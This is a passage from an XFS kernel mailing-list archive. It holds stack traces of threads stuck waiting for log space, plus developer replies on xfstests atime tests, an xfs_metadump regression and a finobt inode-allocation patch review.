[ffff811d7ba67da0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff81163a643b18] schedule at ffffffff80062f90 #1 [ffff81163a643bf0] schedule_timeout at ffffffff80063823 #2 [ffff81163a643c40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81163a643ca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81163a643cf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff81163a643da0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff81114bec3c18] schedule at ffffffff80062f90 #1 [ffff81114bec3cf0] schedule_timeout at ffffffff80063823 #2 [ffff81114bec3d40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81114bec3da0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81114bec3df0] xfs_remove at ffffffff88a01be2 [xfs] #5 [ffff81114bec3e70] xfs_vn_unlink at ffffffff88a0b536 [xfs] -- #0 [ffff810c7efb5c28] schedule at ffffffff80062f90 #1 [ffff810c7efb5d00] schedule_timeout at ffffffff80063823 #2 [ffff810c7efb5d50] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff810c7efb5db0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff810c7efb5e00] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff810c7efb5e70] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff811122bc5a78] schedule at ffffffff80062f90 #1 [ffff811122bc5b50] schedule_timeout at ffffffff80063823 #2 [ffff811122bc5ba0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff811122bc5c00] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff811122bc5c50] xfs_setattr at ffffffff88a00c87 [xfs] #5 [ffff811122bc5d00] xfs_vn_setattr at ffffffff88a0ac9c [xfs] -- #0 [ffff81086d937b18] schedule at ffffffff80062f90 #1 [ffff81086d937bf0] schedule_timeout at ffffffff80063823 #2 [ffff81086d937c40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81086d937ca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81086d937cf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff81086d937da0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff8109fb17fc58] schedule at ffffffff80062f90 #1 [ffff8109fb17fd30] schedule_timeout at ffffffff80063823 #2 [ffff8109fb17fd80] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff8109fb17fde0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff8109fb17fe30] xfs_inactive at ffffffff88a036a4 [xfs] #5 [ffff8109fb17fe70] xfs_fs_clear_inode at ffffffff88a0e1e1 [xfs] -- #0 [ffff810a25eb1ca8] schedule at ffffffff80062f90 #1 [ffff810a25eb1d80] schedule_timeout at ffffffff80063823 #2 [ffff810a25eb1dd0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff810a25eb1e30] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff810a25eb1e80] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff810a25eb1ef0] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff810aa7ce7ca8] schedule at ffffffff80062f90 #1 [ffff810aa7ce7d80] schedule_timeout at ffffffff80063823 #2 [ffff810aa7ce7dd0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff810aa7ce7e30] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff810aa7ce7e80] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff810aa7ce7ef0] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff8118d00afb18] schedule at ffffffff80062f90 #1 [ffff8118d00afbf0] schedule_timeout at ffffffff80063823 #2 [ffff8118d00afc40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff8118d00afca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff8118d00afcf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff8118d00afda0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff810c1c289c78] schedule at ffffffff80062f90 #1 [ffff810c1c289d50] schedule_timeout at ffffffff80063823 #2 [ffff810c1c289da0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff810c1c289e00] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff810c1c289e50] xfs_inactive at ffffffff88a036a4 [xfs] #5 [ffff810c1c289e90] xfs_fs_clear_inode at ffffffff88a0e1e1 [xfs] -- #0 [ffff811cddf61b18] schedule at ffffffff80062f90 #1 [ffff811cddf61bf0] schedule_timeout at ffffffff80063823 #2 [ffff811cddf61c40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff811cddf61ca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff811cddf61cf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff811cddf61da0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff811ab01f5a78] schedule at ffffffff80062f90 #1 [ffff811ab01f5b50] schedule_timeout at ffffffff80063823 #2 [ffff811ab01f5ba0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff811ab01f5c00] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff811ab01f5c50] xfs_setattr at ffffffff88a00c87 [xfs] #5 [ffff811ab01f5d00] xfs_vn_setattr at ffffffff88a0ac9c [xfs] -- #0 [ffff81381800fca8] schedule at ffffffff80062f90 #1 [ffff81381800fd80] schedule_timeout at ffffffff80063823 #2 [ffff81381800fdd0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81381800fe30] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81381800fe80] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff81381800fef0] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff81401f523780] schedule at ffffffff80062f90 #1 [ffff81401f523858] schedule_timeout at ffffffff80063823 #2 [ffff81401f5238a8] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81401f523908] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81401f523958] xfs_iomap_write_allocate at ffffffff889ef3bc [xfs] #5 [ffff81401f523a18] xfs_iomap at ffffffff889eff0e [xfs] -- #0 [ffff811903be3c58] schedule at ffffffff80062f90 #1 [ffff811903be3d30] schedule_timeout at ffffffff80063823 #2 [ffff811903be3d80] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff811903be3de0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff811903be3e30] xfs_inactive at ffffffff88a036a4 [xfs] #5 [ffff811903be3e70] xfs_fs_clear_inode at ffffffff88a0e1e1 [xfs] -- #0 [ffff811ac8983ca8] schedule at ffffffff80062f90 #1 [ffff811ac8983d80] schedule_timeout at ffffffff80063823 #2 [ffff811ac8983dd0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff811ac8983e30] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff811ac8983e80] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff811ac8983ef0] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff810f2c6b1c78] schedule at ffffffff80062f90 #1 [ffff810f2c6b1d50] schedule_timeout at ffffffff80063823 #2 [ffff810f2c6b1da0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff810f2c6b1e00] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff810f2c6b1e50] xfs_inactive at ffffffff88a036a4 [xfs] #5 [ffff810f2c6b1e90] xfs_fs_clear_inode at ffffffff88a0e1e1 [xfs] -- #0 [ffff813e780d7c28] schedule at ffffffff80062f90 #1 [ffff813e780d7d00] schedule_timeout at ffffffff80063823 #2 [ffff813e780d7d50] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff813e780d7db0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff813e780d7e00] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff813e780d7e70] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff8112c912fca8] schedule at ffffffff80062f90 #1 [ffff8112c912fd80] schedule_timeout at ffffffff80063823 #2 [ffff8112c912fdd0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff8112c912fe30] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff8112c912fe80] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff8112c912fef0] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff81170f357c18] schedule at ffffffff80062f90 #1 [ffff81170f357cf0] schedule_timeout at ffffffff80063823 #2 [ffff81170f357d40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81170f357da0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81170f357df0] xfs_remove at ffffffff88a01be2 [xfs] #5 [ffff81170f357e70] xfs_vn_unlink at ffffffff88a0b536 [xfs] Thanks Laurence From dsterba@suse.cz Fri Feb 14 10:39:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 197597F51 for ; Fri, 14 Feb 2014 10:39:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 00C178F8039 for ; Fri, 14 Feb 2014 08:39:27 -0800 (PST) X-ASG-Debug-ID: 1392395966-04cb6c06cfa3dd0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id ivFF9pDYjn91eK5H (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 08:39:26 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 9FB6BABF7; Fri, 14 Feb 2014 16:39:25 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 7A6E7DAAE0; Fri, 14 Feb 2014 17:39:25 +0100 (CET) Date: Fri, 14 Feb 2014 17:39:25 +0100 From: David Sterba To: Eric Sandeen Cc: Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options Message-ID: <20140214163925.GW16073@twin.jikos.cz> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options Reply-To: dsterba@suse.cz Mail-Followup-To: dsterba@suse.cz, Eric Sandeen , Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FCF60F.6030703@sandeen.net> User-Agent: Mutt/1.5.22.1-rc1 (2013-10-16) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1392395966 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145112 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 10:42:55AM -0600, Eric Sandeen wrote: > > +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full > > +[ $? -ne 0 ] && echo "The relatime mount option should be the default." > > Ok, I guess "relatime" in /proc/mounts is from core vfs code and > should be there for the foreseeable future, so seems ok. > > But - relatime was added in v2.6.20, and made default in 2.6.30. So > testing older kernels may not go as expected; it'd probably be best to > catch situations where relatime isn't available (< 2.6.20) or not > default (< 2.6.30), by explicitly mounting with relatime, and skipping > relatime/strictatime tests if that fails? Is there some consensus what's the lowest kernel version to be supported by xfstests? 2.6.32 is the lowest base for kernels in use today, so worrying about anything older does not seem necessary. From sandeen@sandeen.net Fri Feb 14 10:41:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B42587F51 for ; Fri, 14 Feb 2014 10:41:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 446ABAC001 for ; Fri, 14 Feb 2014 08:41:18 -0800 (PST) X-ASG-Debug-ID: 1392396077-04bdf0734c229680001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id fpWElzo3jK4bJQDq for ; Fri, 14 Feb 2014 08:41:17 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id C32BE6519A6E; Fri, 14 Feb 2014 10:41:16 -0600 (CST) Message-ID: <52FE472C.8070503@sandeen.net> Date: Fri, 14 Feb 2014 10:41:16 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: dsterba@suse.cz, Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> <20140214163925.GW16073@twin.jikos.cz> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options In-Reply-To: <20140214163925.GW16073@twin.jikos.cz> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392396077 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145112 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/14/14, 10:39 AM, David Sterba wrote: > On Thu, Feb 13, 2014 at 10:42:55AM -0600, Eric Sandeen wrote: >>> +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full >>> +[ $? -ne 0 ] && echo "The relatime mount option should be the default." >> >> Ok, I guess "relatime" in /proc/mounts is from core vfs code and >> should be there for the foreseeable future, so seems ok. >> >> But - relatime was added in v2.6.20, and made default in 2.6.30. So >> testing older kernels may not go as expected; it'd probably be best to >> catch situations where relatime isn't available (< 2.6.20) or not >> default (< 2.6.30), by explicitly mounting with relatime, and skipping >> relatime/strictatime tests if that fails? > > Is there some consensus what's the lowest kernel version to be supported > by xfstests? 2.6.32 is the lowest base for kernels in use today, so > worrying about anything older does not seem necessary. > I don't know that it's been discussed - selfishly, I know our QE uses xfstests on RHEL5, which is 2.6.18-based. -Eric From dsterba@suse.cz Fri Feb 14 10:53:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F187A7F51 for ; Fri, 14 Feb 2014 10:53:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CC10F8F8033 for ; Fri, 14 Feb 2014 08:53:41 -0800 (PST) X-ASG-Debug-ID: 1392396819-04bdf0121f3de830001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id O3K7nKPnPIOblupA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 08:53:40 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id C0F8FAC86; Fri, 14 Feb 2014 16:53:38 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 5D833DAAE0; Fri, 14 Feb 2014 17:53:38 +0100 (CET) Date: Fri, 14 Feb 2014 17:53:38 +0100 From: David Sterba To: Eric Sandeen Cc: dsterba@suse.cz, Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options Message-ID: <20140214165338.GX16073@twin.jikos.cz> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options Reply-To: dsterba@suse.cz Mail-Followup-To: dsterba@suse.cz, Eric Sandeen , Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> <52FCF60F.6030703@sandeen.net> <20140214163925.GW16073@twin.jikos.cz> <52FE472C.8070503@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52FE472C.8070503@sandeen.net> User-Agent: Mutt/1.5.22.1-rc1 (2013-10-16) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1392396819 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145113 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 10:41:16AM -0600, Eric Sandeen wrote: > I don't know that it's been discussed - selfishly, I know our QE uses > xfstests on RHEL5, which is 2.6.18-based. Ok then. From tinguely@sgi.com Fri Feb 14 13:51:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E1D1F7F51 for ; Fri, 14 Feb 2014 13:51:16 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id BD455304043; Fri, 14 Feb 2014 11:51:16 -0800 (PST) Message-ID: <52FE73B3.1020804@sgi.com> Date: Fri, 14 Feb 2014 13:51:15 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] metadump: sanitise write_buf/index return values References: <1390472635-17225-1-git-send-email-david@fromorbit.com> <1390472635-17225-2-git-send-email-david@fromorbit.com> <52FD1D38.1010006@sgi.com> <20140214022053.GQ13997@dastard> In-Reply-To: <20140214022053.GQ13997@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/13/14 20:20, Dave Chinner wrote: > On Thu, Feb 13, 2014 at 01:30:00PM -0600, Mark Tinguely wrote: >> On 01/23/14 04:23, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> Write_buf/write_index use confusing boolean values for return, >>> meaning that it's hard to tell what the correct error return is >>> supposed to be. Convert them to return zero on success or a >>> negative errno otherwise so that it's clear what the error case is. >>> >>> Signed-off-by: Dave Chinner >>> --- >> >> Looks like this patch broke metadumps on some corrupted filesystems. >> This is a legacy filesystem that has zeroes overwriting the >> SB/AGF/AGI on AG 1/2/3: >> >> >> # xfs_metadump -wgo /dev/sda8 myfile.metadata >> xfs_agf_read_verify: XFS_CORRUPTION_ERROR >> xfs_metadump: cannot init perag data (117). Continuing anyway. >> Copied 64 of 64 inodes (0 of 4 AGs) xfs_agf_write_verify: XF >> S_CORRUPTION_ERROR >> write_buf: write verifer failed on bno 0x1100919/0x200 >> (no output) > > Where did it crash? Can you post the stack trace from gdb? Even > better, can you send a patch to fix the problem? ;) > > Cheers, > > Dave. No crash, just exits without performing the dump. --Mark. From bfoster@redhat.com Fri Feb 14 14:01:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 70BEB7F51 for ; Fri, 14 Feb 2014 14:01:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4DF0A304062 for ; Fri, 14 Feb 2014 12:01:53 -0800 (PST) X-ASG-Debug-ID: 1392408109-04bdf0121f3ed200001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UqnhsVVslWVQ7htl for ; Fri, 14 Feb 2014 12:01:49 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1EK1ldQ007071 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 14 Feb 2014 15:01:47 -0500 Received: from laptop.bfoster (vpn-48-175.rdu2.redhat.com [10.10.48.175]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1EK1jhU024180 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Fri, 14 Feb 2014 15:01:45 -0500 Message-ID: <52FE7629.9090208@redhat.com> Date: Fri, 14 Feb 2014 15:01:45 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation References: <1391536182-9048-1-git-send-email-bfoster@redhat.com> <1391536182-9048-7-git-send-email-bfoster@redhat.com> <20140211071703.GG13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v3 06/11] xfs: use and update the finobt on inode allocation In-Reply-To: <20140211071703.GG13647@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392408109 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/11/2014 02:17 AM, Dave Chinner wrote: > On Tue, Feb 04, 2014 at 12:49:37PM -0500, Brian Foster wrote: ... >> + /* >> + * Lookup and modify the equivalent record in the inobt. >> + */ >> + tcur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); > > In case ou hadn't guessed, I don't like the "tcur/trec" variables > because they make me thing "temporary" which they aren't. In this > case it is the inobt cursor and record.... > > In fact, this whole segment could be factored into a function like > xfs_dialloc_ag_inobt_update(), hence removing the second cursor from > xfs_dialloc_ag() function altogether and that would clean a lot of > the logic up.... > ... >> + /* >> + * Update the perag and superblock. >> + */ >> + be32_add_cpu(&agi->agi_freecount, -1); >> + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); >> + pag->pagi_freecount--; >> + >> + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); > > This will need to be done before you update the inobt, though, so > you can run the xfs_check_agi_freecount() count in it and it will > come out correct.... > After cleaning up some of this code and taking a closer look, I end up with something just short of complete removal of the inobt cursor in this function. Reason being... the point above with regard to checking the btrees against the agi freecount pre and post modification. The only way I see to push the inobt cursor into a separate function is to also push the agi/sb update to the middle of that function, which just seems ugly to me. The helper function is now non-intuitively sensitive to the context in which it is called (and conversely buries context that makes xfs_dialloc_ag() harder to follow). E.g., misplaced functionality for an "update the inobt" helper. That said, xfs_dialloc_ag() is much smaller from all of the other refactoring, trec is gone and tcur is renamed to icur. So I think clarity is still improved. Let me know if there's any major objections to that pattern or alternate suggestions. Otherwise, I'll run with this for the next version... Brian > Cheers, > > Dave. > From fdmanana@gmail.com Fri Feb 14 14:09:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9CF1C7F51 for ; Fri, 14 Feb 2014 14:09:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 82DE7304059 for ; Fri, 14 Feb 2014 12:09:25 -0800 (PST) X-ASG-Debug-ID: 1392408561-04cbb00c2a3c8110001-NocioJ Received: from mail-wi0-f181.google.com (mail-wi0-f181.google.com [209.85.212.181]) by cuda.sgi.com with ESMTP id xKaLqohCQ5HY5B8h (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 14 Feb 2014 12:09:22 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.181 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.181] Received: by mail-wi0-f181.google.com with SMTP id hi5so827785wib.2 for ; Fri, 14 Feb 2014 12:09:20 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.181] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.181] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=QMpNSRktgu+p4zwZFa4Fm0ggdSRXZ43SA/8tya8vWtM=; b=H6pQNmyBolvkkJGAVv10pRstarIyqgfAFP1Mb61EjDdAb5mbDkZClQc6LwA38aXuBn gVoVPwUwy5sCeCHzwrDa4yydKt6NsBd4OzzA6541sMKrt4mc0ZIJpRiRTvPfwQ46TqqQ anvvFdt55hYhGmgkb7rdI9Fenv+vckOkLvaxahAWcaLDd9RdwhuVo7KUe3S9p57PW+Af SUkRnggLxclGxrt0lutwqEZg3P+APN5vJfd1HH/gb+0pKf5O6rGkE8fl46J2UIbrSBC/ Wrr8+dGaMTVLp+2oUmZMoB0+QWhI53iuhCKgvKsnFRsVSpBRYO4DJ2m4+VDY83GNBiO4 SDeQ== X-Received: by 10.194.6.164 with SMTP id c4mr3640419wja.38.1392408560938; Fri, 14 Feb 2014 12:09:20 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id br10sm15162785wjb.3.2014.02.14.12.09.15 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 14 Feb 2014 12:09:20 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: add regression test for btrfs incremental send Date: Fri, 14 Feb 2014 20:08:42 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add regression test for btrfs incremental 